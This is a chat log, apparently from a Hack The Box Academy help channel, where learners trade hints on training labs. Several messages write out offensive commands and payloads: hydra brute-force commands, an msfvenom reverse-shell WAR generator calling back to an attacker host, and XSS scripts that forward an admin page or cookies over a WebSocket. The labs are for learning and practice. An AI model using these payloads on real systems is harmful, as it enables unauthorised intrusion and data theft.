Once you see it it becomes simple

[jolly raptor]

unless I'm really stupid I don't see it

I understand theres an exploit for the Simple Backup plugin

searchsploit is giving me this txt file to look at - php/webapps/51937.txt

would i find this in my file system somewhere or in browser?

[steady dust]

nvm, vpm issues

[fathom pendant]

Use searchsploit -m 51937.txt

Alternatively, do it with msfconsole

[fathom pendant]

It's on your system, the -m command copies it to your current directory

[jolly raptor]

thank you, got the text file however it didn't lead me to much

[fathom pendant]

Read it

You'll need to modify the command to suit your situation

[jolly raptor]

okay so modify the command using metapsloit?

or modify the text file, I'm awful at code so this is a bit of a jamble for me

[fathom pendant]

The text file contains a curl command to copy/paste

With msfconsole you just set a few options and it just works.tm

[jolly raptor]

I apologise this is going over my head

I'm not seeing any curl command

[fathom pendant]

The .txt file?

[jolly raptor]

yeah

[fathom pendant]

Hold on

Yeah it'll be simpler to use msfconsole

[jolly raptor]

gotcha

[wraith pelican]

there is 2 exploits for simple backup on exploit db, this is the other one https://www.exploit-db.com/exploits/39883

[jolly raptor]

ah okay, are you able to explain what the WP-PATH bit is?

for downloading a backup file

[fathom pendant]

It's the path to the WordPress portion of the site

Imo just use msfconsole

It'll be quicker and doesn't require extensive knowledge

It can be on web root (http://ip:port/)

In which case you skip that

[wraith pelican]

i also vote for msfconsole

[jolly raptor]

I've tried both ways

Currently getting the TARGETURI not validated error

if this is the getting started module I'm finished lmao

would hate to see how stuck I am on later modules

[fathom pendant]

You don't change target URI

Also are you using the arbitrary file exploit or a different one

Also filepath needs to be changed

[wraith pelican]

i mean there is much to say on each of your question. Just pause a bit and think, breathe i dont know : )
you enter target uri with port and then you specify port 80 on RPORT, that can't work

[jolly raptor]

so should RPORT be the same port as the url port im guessing

[fathom pendant]

RHOST; target IP
RPORT; target port {default 80}

[jolly raptor]

any idea on what the filepath needs to be changed to? I understand I need to find the flag.txt file however I don't know the path for that

[fathom pendant]

Yes you do

Read the question carefully

It explicitly tells you

😉

[stark lark]

Anyone? D:

[fathom pendant]

But also the URI is wrong

[jolly raptor]

I changed the URI to /

[fathom pendant]

I'm gonna be honest I didn't read this bc it's not formatted and I don't want to parse a wall of text

[jolly raptor]

which was default

[fathom pendant]

Ok

Now did you figure the filepath out?

@stark lark put ``` before and after your output

Forces it to be formatted in code block

Also makes it easier to read

[jolly raptor]

oh wow

[stark lark]

Yup usually I do that but forgot. One sec.

[jolly raptor]

i am honestly an idiot

[fathom pendant]

You also just pasted a wall of text with barely any info

I also didn't need to use perl

The smtp-user-enum script was ready to go on my machine with no problems

[jolly raptor]

thank you so much for the help, serves me right for trying to jump straight in, I realised my config was set up wrong and didn't read the question carefully enough

[wraith pelican]

you said "I understand I need to find the flag.txt file" ... that the whole problem : D

[jolly raptor]

yeah, I'm just a bit slow i think haha

[fathom pendant]

Always take a step back and look for the path of least resistance

If it looks complex, there's usually a simpler way

[jolly raptor]

appreciate all the help, onto the next part of the module 🙂

tbh the msfconsole config was wrong which was just me being stupid, the filepath i just needed to read

[fathom pendant]

The modules really mess with you if you don't read carefully

[stark lark]

Attacking Common Services -> Easy Lab

I've tried the following for each port/service.

21/tcp   open  ftp
- hydra -L ../users.list -P ../passwords.list ftp://10.129.210.76 

25/tcp   open  smtp
- perl smtp-user-enum.pl -M RCPT -U ../users.list -D inlanefreight.htb -t 10.129.210.76
- hydra -L users.list -P password.list -f 10.129.210.76 smtp

sudo nmap -Pn -sV -sC -p25,143,110,465,587,993,995 10.129.210.76

80/443 tcp   open  http
- Enumerated the website and it found that the service should have multiple security misconfigurations/default passwords, none of which have worked for me.

587/tcp  open  submission
- perl smtp-user-enum.pl -M RCPT -U users.list -D inlanefreight.htb -t 10.129.203.7

3306/tcp open  mysql
- sudo nmap 10.129.210.76 -sV -sC -p3306 --script mysql*
- mysql -u root -h 10.129.203.7

3389/tcp open  ms-wbt-server
nmap -sV -sC 10.129.210.76 -p3389 --script rdp*```

[stark lark]

Maybe I didn't need to call it this way but it works fine :-)

[fathom pendant]

Increase the wait time for smtp

[stark lark]

Will try that, because I suppose I should use the provided username dir list right?

[fathom pendant]

Yes

Smtp can be slow to respond

It's not

Also spoiler

[stark lark]

But that username is not in the provided list i believe

or I'm using the wrong one💀

[fathom pendant]

It is, it's adding the email domain you goon

User@domain

Ftp will be your next step

Just remove the @domain

[hexed kestrel]

Heya, need some help with the first exercise of the skills assessment of the "using web proxies" module.

The first exercise is the following: The /lucky.php page has a button that appears to be disabled. Try to enable the button, and then click it to get the flag.

I have enabled the button, and upon clicking it it sends a packet with a couple headers and the following data: getflag=true
when i pass this it returns the /lucky.php page again and doesn't give me a flag. what am i doing wrong?

[boreal token]

Hey any assistance on how to run module machine on my Linux machine

[swift carbon]

haven't done this module but my initial thought is to intercept the server response and see if it's returning the flag before redirecting to lucky.php

[hexed kestrel]

nope. server response is the exact same as what you would get from reloading the page.

<html lang="en">

<head>
    <meta charset="UTF-8">
    <title>I'm feeling lucky!</title>
    <link rel="stylesheet" href="./style.css">
</head>

<body>
    <form name='getflag' class='form' method='post' id='form1'>
        <button class='btn block-cube block-cube-hover' id='submit' type='submit' formmethod='post' name='getflag' value='true' disabled>
            <div class='bg-top'>
                <div class='bg-inner'></div>
            </div>
            <div class='bg-right'>
                <div class='bg-inner'></div>
            </div>
            <div class='bg'>
                <div class='bg-inner'></div>
            </div>
            <div class='text'>
                Click for a chance to win a flag!
            </div>
        </button>
    </form>
</body>

</html>```

this is what i recieve back from the server

with the button disabled again ^^

[west canopy]

once you get the button enabled, turn on burpsuite intercept, then click the button and send to Repeater. Then you'll be able to send the request over and over as many times as you need, without having to enable the button every time

[hexed kestrel]

oh so i guess the "lucky.php" thing actually refers to it needing luck? lol

[cloud urchin]

yeah. i just enabled the button and spammed it a bunch to get the flag.

[hexed kestrel]

lmao okay, thanks

[wary plover]

Try to put code in code blocks

3 backticks ```

[hexed kestrel]

ah. i was confused why a single backtick wasn't working. thanks

got the flag now. thanks for the help

[fathom pendant]

You just need to get lucky

[stiff moon]

anyone that can help me on the last question on Skills Assessment for the module Intro to C2 Operations with Sliver???
im a bit stuck

[west canopy]

i suggest reviewing the Active Directory Enumeration & Attacks module, specifically ||the sections on Domain Trusts- Childs -> Parent trusts . ExtraSids should do the trick ;)||

[stiff moon]

thats true. but also some stuff dont work/breaks but i will take a break

[tender nimbus]

quick question, i'm still learning about cybersec on htb, when should i know when im ready to try my first machine?

[terse zinc]

I need help
I just accidentally bought gold annual subscription (1260 usd) on htb academy. I already had student monthly subscription and i was just exploring different plans. As i clicked on the purchase option it automatically subscribed to it and 1260 usd were deducted from my account.
How do i get a refund?? And will i even get a refund back?

[fathom pendant]

just do them

[fathom pendant]

only support can help you out dude

[compact patrol]

https://help.hackthebox.com/en/articles/5986762-contacting-htb-support

[fathom pendant]

green bubble on academy; bottom right

if you don't see it --disable adblock

[terse zinc]

I contacted that green bubble and got a reply saying to wait up until monday. I mean would i even get a refund?

[fathom pendant]

just be patient then

they're generally lenient

they do have support over the weekend but it's at a lower capacity; it's currently ~12AM where HQ is located so likely the main crew that works weekend shift is offline

ntm it's the weekend, any refund would have to wait for next businessday at earliest in most cases

I think their billing support is Mon-Fri no weekends

[terse zinc]

Alright, i am really nervous i hope i get a refund coz thats my 1 year savings in the country where i live

[fathom pendant]

yeah, but nothing can be done on the discord for you

[terse zinc]

Yh i was just looking if anyone else had experienced a similar situation

[fathom pendant]

support doesn't monitor the discord, and they'd request you to open a ticket on the platform anyway

i've heard people in similar situations get refunded

[terse zinc]

Oh thats great then

[fathom pendant]

#1024429874246590575 you can see other people have asked the same

and of those people have confirmed issue resolved

[ocean night]

@terse zinc DM me your Academy ID / email address

[terse zinc]

@ocean night sure

@ocean night check your dm

[ocean night]

I've provided you with a full refund. Please update the support ticket you raised to ensure they are aware this has already been actioned. It can take up to 2-5 working days for the refund to be received.

[terse zinc]

Sure, thank you so much

[ocean night]

👍

[bright sparrow]

i need some help so i had a acc from 2021 i dont remember the email any more

i try discord support but they didnt do anything they said we cant give anything out. i think i know the email but i am not sure

[wary plover]

A hackthebox account? If it's a discord account HackTheBox can't assist you with that and no we won't be hacking your old account if that was your intent

[dim wolf]

unfortunately we can't help with that. you will have to ask support or find your email

if it's an HTB account, i would ask HTB support

[fathom pendant]

https://tenor.com/view/good-luck-with-that-anthony-mennella-culter35-good-luck-best-of-luck-gif-20143678

[turbid hedge]

Anyone available ? got a question concerning zone transfers in INFORMATION GATHERING - WEB EDITION

[fathom pendant]

https://dontasktoask.com

[turbid hedge]

well the question is After performing a zone transfer for the domain inlanefreight.htb on the target system, how many DNS records are retrieved from the target system's name server? Provide your answer as an integer, e.g, 123.

I spawned the target ip added it to /etc/hosts and ran
dig @spawned-ip inlanefreight.htb AXFR

didn't return anything

;; Connection to 10.129.42.195#53(10.129.42.195) for inlanefreight.htb failed: timed out. ;; no servers could be reached

im probably doing something wrong but i couldn't figure out what

[signal bane]

does anyone know if i need a external wifi adapter to switch my kali to wlan0 instead of eth0?

or is there anyway to do this without needing to buy a wifi adapater im using virtualbox vm

[turbid hedge]

if you're using it, say for airmon-ng for example yes u need an external adapter vbox can't access hardware directly so u won't be able to start monitor mode for example

[signal bane]

ahhhh okay thanku fml

[signal bane]

which vm do u use to be able to do it without external adapter? if u do use one

[turbid hedge]

i don't hink it's possible if u're running a virtual machine

[signal bane]

damnn okay

[turbid hedge]

whether u are on vbox vmware ect u do need an adapter

[signal bane]

got it thanks

appreciate the help

[turbid hedge]

anytime, glad I could be of help

[fathom pendant]

are you connected to the vpn?

[fathom pendant]

please keep questions related to HTB academy

[signal bane]

my bad, do you know if theres a channel for general help?

[fathom pendant]

#community-content or perhaps #homelab-sysadm depending on the question but it helps to provide as much info about your situation instead of trying to solve a problem that might not need solving

[brave field]

Hi Guys! I need some help. I have made hyperlinks on a word doc to modules from HTB academy that the students can click on and access it, but when I click them they redirect me to my dashboard instead of the module. How to fix this? Thanks

[dim wolf]

can you give an example URL that you are using for the hyperlinks?

[brave field]

https://academy.hackthebox.com/module/details/15

This is the one I am using for intro to academy

[next bronze]

that link is the module overview, you'll need the link from within the section

https://academy.hackthebox.com/module/15/section/32

[brave field]

So in address bar I simply replace it with this https://academy.hackthebox.com/module/15/section/32?

[fathom pendant]

not to mention if you're not set to remain signed in or some funky stuff goes on with the SSO it redirects to dashboard

[brave field]

yes, it's always redirecting to dashboard no matter what I do

[fathom pendant]

that's just the nature of how it's going to work

[brave field]

damn

[next bronze]

links like these don't as long as you're signed in

[brave field]

I tried with logged in account and as well logged out account, same results

redirects me to dashboard

[next bronze]

works for me

[brave field]

Have you tested it out with the hyperlink on word doc?

[next bronze]

yes

[brave field]

maybe I am doing something wrong

can you guide me with some steps would really appreciate it

[next bronze]

I just link it, that's it

[fathom pendant]

@novel parrot https://forum.hackthebox.com/t/linux-fundamentals-filter-content-filter-all-unique-paths-of-domain/270162/4

[novel parrot]

thank you

[next bronze]

it works the same clicking it from here and elsewhere

[brave field]

I am already signed it and still takes me to dashboard even after using https://academy.hackthebox.com/module/15/section/32

[dim wolf]

out of curiosity, are you logging in with Academy account or HTB account

[brave field]

academy account

[dim wolf]

not SSO?

[next bronze]

have you unlocked the module?

[brave field]

yes, it's unlocked

I can access it via browser but hyperlink redirects me to dashboard for some reason

[fathom pendant]

are you doing the CPTS path? why aren't you enrolled in it so it's on your dashboard?

[next bronze]

works with sso too

[fathom pendant]

i mean worst case scenario fire up something like burpsuite or zap to intercept the packets to see why it redirects

[brave field]

Basically, I am just trying to make hyperlinks for students to click on for ease of access. If they will click my hyperlink I don't know what will happen. Will it take them to dashboard or to the module straight?

If it's not working for me then there's a possibility that it might not work for them as well.

[next bronze]

I'm sure your students will be able to navigate the website with the title even without a direct link

[fathom pendant]

yeah

[next bronze]

there's also a search all modules page

[fathom pendant]

if they're also subbed/enrolled in the CPTS path (if that's what you're following) then you don't really need to have them click anything

it'll literally be on their dashboard

though using HTB as your curriculum seems kinda odd to me ¯_(ツ)_/¯

(unless it's an afterschool program)

[sterile solstice]

agreed. I've taught before, and while it was an unrelated field, I wouldn't structure my syllabus that way. also, have a look at all those modules. thats a lot for 1 week ....

[fathom pendant]

Yeah if you're basing it off the estimated time, you're gonna run into some troubles and struggles

[sterile solstice]

agreed. particularly if you are doing it all for the first time. if its a quick re-fresh then maybe it'd be ok. but still ... lol. context would be helpful though haha

[spark spruce]

Module - API Attacks

Section - Broken Authentication

I have brute forced pass as well as OTP , but nothing get in returns
hint is saying to focus on reset password

what am I missing ?

anybody help here>

[opal hare]

Hey guyz got a serious duacussion wanna join

[cloud urchin]

no thanks

[opal hare]

Please sirously need a help i am learning about it

[cloud urchin]

we're already here to discuss academy so no i don't want to join another one

[wary plover]

This channel is intended for academy module questions, let's keep it for it's purpose pls

[opal hare]

Lets discuss here

[wary plover]

No

[dim wolf]

this channel is for discussion about HTB Academy modules. verify your account in #welcome and find a relevant channel for your discussion

[opal hare]

Thx for help calculac0re

Just wanna know i want an best hacker community where i can communicate advanced ethical hackers ?

[cloud urchin]

this discord is about the hackthebox platform. discussions here are related to the website and services there.

[opal hare]

I asked for an better community

/rank

[storm elk]

this is about HTB, if you feel like you need a different community, I advise you to search for it on the Discord directory or Google

[cloud urchin]

if you want education then you've reached the right place

[opal hare]

I just wanna communicate advanced ethical hackers to learn more

Where ?

[cloud urchin]

search for a group masterhackers

[opal hare]

Where

[cloud urchin]

they don't reveal their location but i suspect it's close to the gibson

[storm elk]

Please use the appropriate search funnctions

[spark spruce]

I have stuck here
If anyone can help.

[turbid hedge]

yup, It worked thanks all i had to do was reset the target ip

[wooden sparrow]

Hey there!! Looking for some good resources and road map to learn finding SQL injection vulnerabilities.

[cloud urchin]

sql fundamentals module

[wooden sparrow]

Finished!!!

[storm elk]

Advanced sql injection

[wooden sparrow]

Anthing out of hackthebox modules??

[cloud urchin]

yeah there's a few of them

[storm elk]

Portswigger academy

[wooden sparrow]

👍

[candid lily]

may be a dumb question but why does 0.0.0.0 point to localhost

[wraith pelican]

because 0.0.0.0 points to all possible IP's

[fathom pendant]

It's a wildcard

You can't technically go to 0.0.0.0 it'll just send you to the closest interface that's hosting that port (or localhost)

[candid lily]

so if i dont host anything on localhost, it will go to a random ip?

[fathom pendant]

No

It won't go outside local

[candid lily]

it seems to point exactly to 127.0.0.1

[fathom pendant]

https://en.m.wikipedia.org/wiki/0.0.0.0

[wraith pelican]

it is used when you are listening for an incoming connection from any IP address

but if you know the IP, you could set it. In real world it would be safer to not listen on any incoming address

[fathom pendant]

It technically can be localhost but you can't actually use it as localhost

[candid lily]

i guess in linux it is same as localhost

[fathom pendant]

Technically but no. It's complicated

[wraith pelican]

no, let say you host a http server, you can't get it by going to 0.0.0.0. I don't think so, i ll try

[fathom pendant]

https://www.techtarget.com/searchnetworking/answer/What-is-the-IP-address-0000-used-for

[candid lily]

you sure can

[wraith pelican]

ah yeah you can get it from 0.0.0.0 as it points to localhost

[candid lily]

yea thats what am asking why

if i send request to 0.0.0.0 what makes it to send to 127.0.0.1

[wraith pelican]

that's what i am asking myself, it is not in /etc/hosts

[candid lily]

the source of ip is also 127.0.0.1

[fathom pendant]

My suggestion: stop worrying about it

As you'll never need to care about it

[wraith pelican]

there is more explanation in there https://superuser.com/questions/949428/whats-the-difference-between-127-0-0-1-and-0-0-0-0

[candid lily]

its always good idea to dig deep to unlock more knowledge

[fathom pendant]

It's a special reserved address that serves a different function to loopback

[candid lily]

but it doesnt act so when used by client

[fathom pendant]

sigh

Either way it doesn't belong in this channel

[candid lily]

got this doubt from ssrf section in modern web techniques

[fathom pendant]

Well you didn't preface that did you

But either way, you wouldn't use 0.0.0.0

Even though if looks like it's doing the same thing, it's not

And it's honestly not worth spending time and effort digging into

[stark lark]

Yes I know bruv... been using the wrong wordlist....

[spark spruce]

Anyone help here.

[candid lily]

bruteforce otp

1000-9999

[spark spruce]

Okay

[tawdry flume]

HI! I am doing the Getting started module. Nevertheless, I am presented at some point with some boxes. I don't know if I should do them, or they are just a heads-up of what's coming next

For example, they mention there 'Nibbles', but that box is part of the Getting Started module.

So I don't know if I should do them on my own, or they will be included in next modules

[sterile solstice]

you're not expected to do them now.

you'll come across nibbles and blue during some modules

i only recently did some boxes when i got to 75% of the CPTS pathway, and still needed some nudges here and there. so don't worry about boxes yet, unless you're already confident. you can always try them, and then stop when you're stuck.

[tawdry flume]

Got it, ok, thanks a lot!

[spark spruce]

Thanks it worked

[candid lily]

btw checkout burpsuite turbo intruder, it can bruteforce this in few seconds

[stark lark]

Just tried resetting the lab, but having issues brute forcing FTP.. what could cause this?

[cloud urchin]

well, the error says it's not an ftp protocol

[candid lily]

what is this process listening on port 53

[cloud urchin]

prob dns?

[candid lily]

i want to bind a dns to port 53 but this causes address in use

[stark lark]

But nmap is saying something else

[cloud urchin]

you'd be better off asking for help on the question

like which module/section/question are you stuck on

you may be doing something totally wrong but we have no context

[stark lark]

#modules message
#modules message

Tbf I don't see what else it could be other than ftp

[candid lily]

uhh he asks you to mention the module and section lol not the channel

eeee how to kill this, it has no pid

[spark spruce]

Ooh
Thanks

[stark lark]

Why don't you just bind to another port?

[candid lily]

i need to host a fake dns

[wraith pelican]

Try without port :21 in the IP, and try default task: remove -t48. Until you have a working command, it is not useful to up the speed.

[stark lark]

So like this? I believe Hydra is adding :21 to the ip since it is FTP

[candid lily]

nvm i will just use pwnbox 😥

[wraith pelican]

I believe hydra knows what the default ftp port is. You can keep ftp:// or the other way. Both works I think. Edit: yeah sorry your command was right in the first place I was reading the wrong line

[stark lark]

No problem, appreciate your effort :-)

[candid lily]

i cant use pwnbox and vpn at same time?

[wraith pelican]

I guess it is just the very verbose output that throws errors we would not see otherwise. And maybe the -t48 is too much. Default is 16 so… and last thing I’m not sure I retrieve the password via ftp iirc.

[clever topaz]

after granting admin access still cant change permission of file

in DNS admin section, tried evilrm pth but not authorized

[candid lily]

did you add yourself to Administrators group?

[candid lily]

^

[clever topaz]

yes

[candid lily]

try to restart the machine with shutdown /r @clever topaz

[sacred ermine]

well, it says failed granting, maybe try to run pws as administrator?

[candid lily]

group changes in windows only apply after restart i guess

[clever topaz]

tried

[candid lily]

im pretty sure restart will work

[cloud urchin]

i don't recall ever having to use icacls in htb so you're probably not going about something the right way

[clever topaz]

window escalation, dnsadmin section

[candid lily]

ok then try to get a reverse shell

[clever topaz]

i got admin hash but pth way is not possible

[candid lily]

why not a rev shell

[clever topaz]

lemme try

[cloud urchin]

show me net group "Domain Admins" /dom

[candid lily]

yep i checked my notes, i have used revshell aswell

[clever topaz]

i am able to do so

but domain admin doesnt mean u can read the flag right

[clever topaz]

thats why i tried to use secretsdump to get hash for pth attack but cant

[cloud urchin]

domain admin can do whatever it wants

[clever topaz]

i tried jn with domain admin but still access denied

[cloud urchin]

what are the results of the command

[candid lily]

the group changes only apply after restart

so its better to get revshell

[clever topaz]

access denied

[cloud urchin]

then something is seriously wrong with the instance if you can't even run the net command

[clever topaz]

bro i cant do type function not net function.... i cant cat the flag.txt

[cloud urchin]

ok well when you want help answer my question, but i'm going to bed soon

[clever topaz]

i literally said, i added into both local admin and domain admin but still cant change the ownership of the file to read, as vigneswara said, maybe it take effect only on restart

[cloud urchin]

why ask for help if you don't take it

the results of the command i told you to show are absolutely critical

[clever topaz]

wdym.... u just ask me to do net group "Domain Admins" /dom?

and yes the result is netadm is added into the group

[candid lily]

create a revshell dll

and load it with dnscmd

[clever topaz]

ok thanks

[cloud urchin]

if you added yourself to domain admins, you can read the flag. you refuse to show the screenshot of the command so i'm guessing you didn't actually add yourself.

[clever topaz]

lmao

imagine how i add myself into local admin

because i can only load one dll once only, if i load second time it will show error

i lazy to respawn machine just to show ur screenshot, just be nice thanks

[cloud urchin]

it's taking you over 15 mins to type net group "Domain Admins" /dom and show a screenshot bruh

[clever topaz]

imagine if example show us to add into domain admin but i add netadm into localadmin, its because ive tried domain admin and it doesnt work

not here to fight so bye

[cloud urchin]

yeah and that isn't going to work

you need to be domain admin

[oak girder]

Hello

[clever topaz]

i can only load one dll per machine spawn idk why

solved

[spark spruce]

sorry for again asking
can you give a nudge on section : Unrestricted Resource Consumption

hint is saying to Focus on the POST /api/v1/authentication/customers/passwords/resets/sms-otps endpoint.

But I cannot send otp to a customer as I have loginned as supplier

[candid lily]

i was able to access that endpoint

maybe you need to login with a different credential?

[spark spruce]

I can also access but the question is Exploit another Unrestricted Resource Consumption vulnerability and submit the flag.

don't know what to do

[candid lily]

sms opt is the right endpoint

[spark spruce]

you means sending too many request?

[candid lily]

yea

[candid lily]

what did you do

[spark spruce]

yeah its worked

its another level of thing
never imagined that

[spark spruce]

thank you bro

[acoustic owl]

I recommend that you read through the module again. This method is explained in it.

[spark spruce]

module or only related section ?

[candid lily]

well its not a common place to give the flag

[acoustic owl]

To be honest, I don't know it off by heart.

[spark spruce]

I have read that it could lead to Dos attack

[candid lily]

so straight forward exercises

[spark spruce]

just given one point
But No practical example is given

[spark spruce]

After API attack?

[candid lily]

im just going randomly

i didnt finish API Atacks btw only upto that one

[acoustic owl]

Rank 4 in the OWASP API Top 10

https://owasp.org/API-Security/editions/2023/en/0xa4-unrestricted-resource-consumption/

[candid lily]

i mean no one would expect dos to give flag ( if not specified in context )

[acoustic owl]

There are vulnerable APIs for training. They also offer such vulnerabilities
I was not surprised to find it here

[spark spruce]

yeah bcoz there were some given points to not use dos attack on any htb machine
they are just warning about it
but here we can now experience it😄

[acoustic owl]

Every bruteforce attack generates more traffic than this task 😉

For example, in the previous task you send over 10000 requests. For this task, approx. 20 requests are sufficient

[spark spruce]

this section recommends to use clamAV antivirus
is it better then mcAfee or total security

[spark spruce]

like brute forcing is another type of dos attack 😄

[acoustic owl]

The question is always, what for? For a server? A client?

[spark spruce]

for a normal PC user

[clever topaz]

Run new evil winrm session

Because rev shell doesn’t spawn shell

[acoustic owl]

Windows? MacOS? Linux?
Do you want to install software on your PC that requires very extensive system rights?
There are reasons that speak for it and there are reasons that speak against it.

[spark spruce]

its a windows 11

I just want to know which one can effectively scan virus?

[candid lily]

windows defender ftw

just dont download any programs that windows defender blocks

[spark spruce]

yeah
I was just comparing virus scanning effect of these antiviruses

[acoustic owl]

I personally only use Windows Defender

[spark spruce]

sure it is

[limpid hemlock]

Hey im going through cpts modules and in the active directory section the Dc sync part im trying to solve the lab but i cant seem to solve it im stuck i rdp into windows and from there i try to do the secretsdump and all nothing seems to work

[candid lily]

what section

and module

[limpid hemlock]

Dc sync module from active directory section

[candid lily]

run secretsdump from attacker machine

[limpid hemlock]

I cant ssh into the atacker machind from the windows machine im rdp'd into currently

[candid lily]

why you cant ssh

can you show ss of error message

[limpid hemlock]

I use the creds given to ssh into 172.16.5.225 at the above

But cant ssh into it

[candid lily]

what credentials did you use

username is htb-student

[limpid hemlock]

Yes and password Htb_@cadmey

That one

[candid lily]

i think the password is Academy_Studrnt something

[limpid hemlock]

That is for the rdp windows machine

To ssh into linux one its a different password

[candid lily]

i dont remember but in my notes i have screenshot of logging in to ssh

[candid lily]

HTB_@cademy_stdnt!

[kind turret]

these are spoilers

delete them please

[candid lily]

oh okay

[limpid hemlock]

Its already given in the module the password and all

[candid lily]

you should be able to ssh then

[limpid hemlock]

Nop

[candid lily]

you could also use mimikatz.exe but i dont understand why you cant ssh

[kind turret]

ClamAV is used to scan attachments on the fly and provides a deamon that runs in the background

Enterprises, especially Email providers, use it scan attachments in emails

If your API deals with file uploads, then using ClamAV will help you determine whether its malicious or not

[limpid hemlock]

Mmm

[kind turret]

Plus the deamon can fetch the updated database from Cisco any time using incremental updates

[limpid hemlock]

Me too im stucket here for a day

[next bronze]

the password works

instead of just saying it doesn't work why don't you provide some error messages that you ran into

[limpid hemlock]

I typed ssh htb-student@172. 16.5.225

And enterd both Htb_@cademy one and Academy student one

[next bronze]

that's not the right ip you should ssh into

[limpid hemlock]

Passwords to try both failed

[next bronze]

it's not even in the same subnet as your own machine

[limpid hemlock]

I tired 10.129. One also

Initialy i tried with that and didn work

[next bronze]

for the targets you're given 2 ips, ACADEMY-EA-ATTACK01 is the attack host

[limpid hemlock]

Thats why i tried using this also as it was mentioned in the module

[next bronze]

I just tested it and it workshtb-student:HTB_@cademy_stdnt!

[limpid hemlock]

I tried

But not working

[next bronze]

you probably typed the user or password wrong then

[candid lily]

can you show a screenshot

[limpid hemlock]

No permisin to share images

[candid lily]

dm it then

have you verified if copy pasting works properly

[jolly yacht]

i tried to edit the resolv.conf file for mentioning dns server for my lxc container but if i tried to change it , it revealing my host information like shown in the screenshot. its wierd, any info regarding this guys like why is it showing like this and how can i prevent it ?

this is from the lxc container, its revealing my host system info

[ember fern]

In the Skills Assessment - File Inclusion section of the File Inclusion module, I get a very weird bug - my php payload for phpinfo() succeeds perfectly, but any other fails and also makes the ||log|| file completely unusable. Is this a me issue?

• appears to be an issue with quotes, no idea why

got it working without them 😎

[candid lily]

uh why are you doing file inclusion module now lol

[next bronze]

the error at the bottom? check the file and see if you can write to it

[spark spruce]

That's a valuable info
Thanks much

[jolly yacht]

yeah the error at the bottom revealing my host user and no i can't write in that file. Instead i just deleted the resolv.conf and created a new resolv.conf that contain nameserver info's then redirected that into the /etc/ location, that worked to modify the resolv.conf.

The problem is its showing my Host user info, i dont know why. its wierd

[next bronze]

so is the issue solved? check the dir of viminfo, it's some kind of conflict

[jolly yacht]

okay

[tranquil axle]

@next bronze did you end up managing to access the wsus host in the new lateral movement module?

[next bronze]

nope still waiting for them to fix it

unless I did something wrong, you can try it yourself

[tranquil axle]

I tried the obvious options but it didn't work for me either so I looked it up here and saw you had the same issue

[next bronze]

ah ok I'm not the only one then, yeah I just skipped it

[tranquil axle]

yea, no rush for now

[fringe urchin]

[ember fern]

wdym?

[candid lily]

isnt it like a old module

[worn matrix]

can someone give me an advice.I just reached 500 cubes.What module should i geT?

[uncut cave]

Hi ya, for ADCS Attacks Module, Certifried section, I'm getting KDC_ERR_PADATA_TYPE_NOSUPP error when trying to get the NTLM hash of DC02$ account via certificate auth, has any encountered this issue before ? Nothing was mentioned in this section regarding the error.

[next bronze]

wait a few mins and try again

[next bronze]

what kind of modules do you want to do? AD? web?

[worn matrix]

i really dont know,i lack at Source Code review,but i also like the web attacks.AD i would leave it for now,only what i need for CPTS i ll study

[uncut cave]

still having the same issue after 5 mins

I have followed the exact steps in the section

[next bronze]

reset the lab then

[uncut cave]

have done it multiple times by now

can you check if you get the same error if you have the module ?

[next bronze]

yeah in a couple of mins

[candid lily]

let xhr = new XMLHttpRequest();
xhr.open('GET', 'http://' + location.host + '/admin');
xhr.send();
let sock = new WebSocket('ws://' + location.host + '/adminws');
sock.addEventListener('open', () => { sock.send(xhr.responseText); sock.close() });

i tried to exploit a xss in websocket but the request keeps repeating

[uncut cave]

did it work for you ?

[thorn hawk]

hey amigos. When you start a php web server. If you write a code at index.php at the same folder you started the php web server. Does this index.php will be used when data are incoming or outgoing?

is this automatic?

[candid lily]

i tried it locally and it keeps spamming why

ahh if i send payload once why does it multiple

[spark spruce]

if you want to go for web then you have to choose CWEE (to get more experienced in code understanding , first complete CBBH)
for AD choose CPTS

[candid lily]

then do whitebox attacks i guess

[stark lark]

Are you sure this is it? Without hinting too much.

I tried brute forcing both f.... account, F.... and [e-mail] for FTP.

I also tried brute forcing SMTP (unencrypted) and RDP. Brute forcing MySQL gave me a lot of errors and increasing delay etc didn't work.

[oak girder]

Hello everyone, I have a question. The automatic deployment of tomcat is very simple in theory. Why do I use (msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.xx LPORT=4443 -f war > backup.war ) will interrupt the connection on the generated war deployment.

[oak girder]

There is no problem in my local reproduction, according to the method of the article

I used docker and there was no problem in deploying the war package normally without modifying anything.

Well, I tried a few more times and he got better again.

[next bronze]

nope does't work for me either

[next bronze]

you're causing a loop, there's two web sockets and they're repeating to each other

[worn matrix]

is anyone else have big problems with vpn?i cant study

[pseudo kiln]

Currently at the latter part of AD Assessment 2, cannot get this to work
||I am trying to poison with Inveigh on MS01 with the discovered account that has local admin rights on the machine.||
||Command runs, but I have been waiting for a while and did not get any NTLM hashes back so far. Anyone has any clue what I could be doing wrong ? ||

[pseudo kiln]

seems to be ok on my end, I am using EU4

[next bronze]

SMB Capture = disabled

[pseudo kiln]

makes sense now, cheers

[worn matrix]

i really cant login to the same machine as you xoriath ;p

vpn doesnt let me

send me the cleartext pass 🤣

[pseudo kiln]

EU4 is the VPN, not a machine

[worn matrix]

..

ik dude,i am doing the same module as you,i am just saying

[pseudo kiln]

ah I see, it can be pretty slow then yeah, try not to use psexec or any impacket tool for getting a shell

[worn matrix]

i cant even join to VPN,it fails

[wraith pelican]

i see in my notes ftp did not work to get the password, but i've read in htb forum iirc, that people got it via ftp. The password is nearly at the beginning of the wordlist, if it still the same, so maybe recheck your settings, brute force slower and restart the target. And I found this article related to the error you posted previously:
https://www.jscape.com/blog/protecting-ftp-passwords-from-brute-force-attacks

[stark lark]

Thanks! I will try that - I know it would be possible to search up some more hints but I'd rather solve it without :-) Those hints won't be there for the exam.

Just completed the Medium lab in 15 minutes which has me questioning the easy one even more..

[candid lily]

how do i not make a loop then

if i try it locally, it repeatedly sends the message but on target i get no reply

also if i open multiple userws and send message from admin, who will receive the message

[next bronze]

send it to the admin, admin has the flag not the user

[candid lily]

i sent it to admin only, i get no reply

when i do the same locally, i get infinite replies

on remote no reply

[next bronze]

yeah then you need to find a way to get admin to reply with the flag

check the source code and the hint

[candid lily]

i tried ||<img src="http://asdasd" onerror="socket.send(document.cookie);">||

im pretty sure this is supposed to work, but idk why it doesnt work

[candid lily]

is my payload correct or wrong

[next bronze]

maybe don't use a url

[candid lily]

oooh

[candid lily]

it worked how

if the firewall blocked the url, it will still result in error and the payload should be triggered right

[fathom pendant]

Remove the @domain

[ember fern]

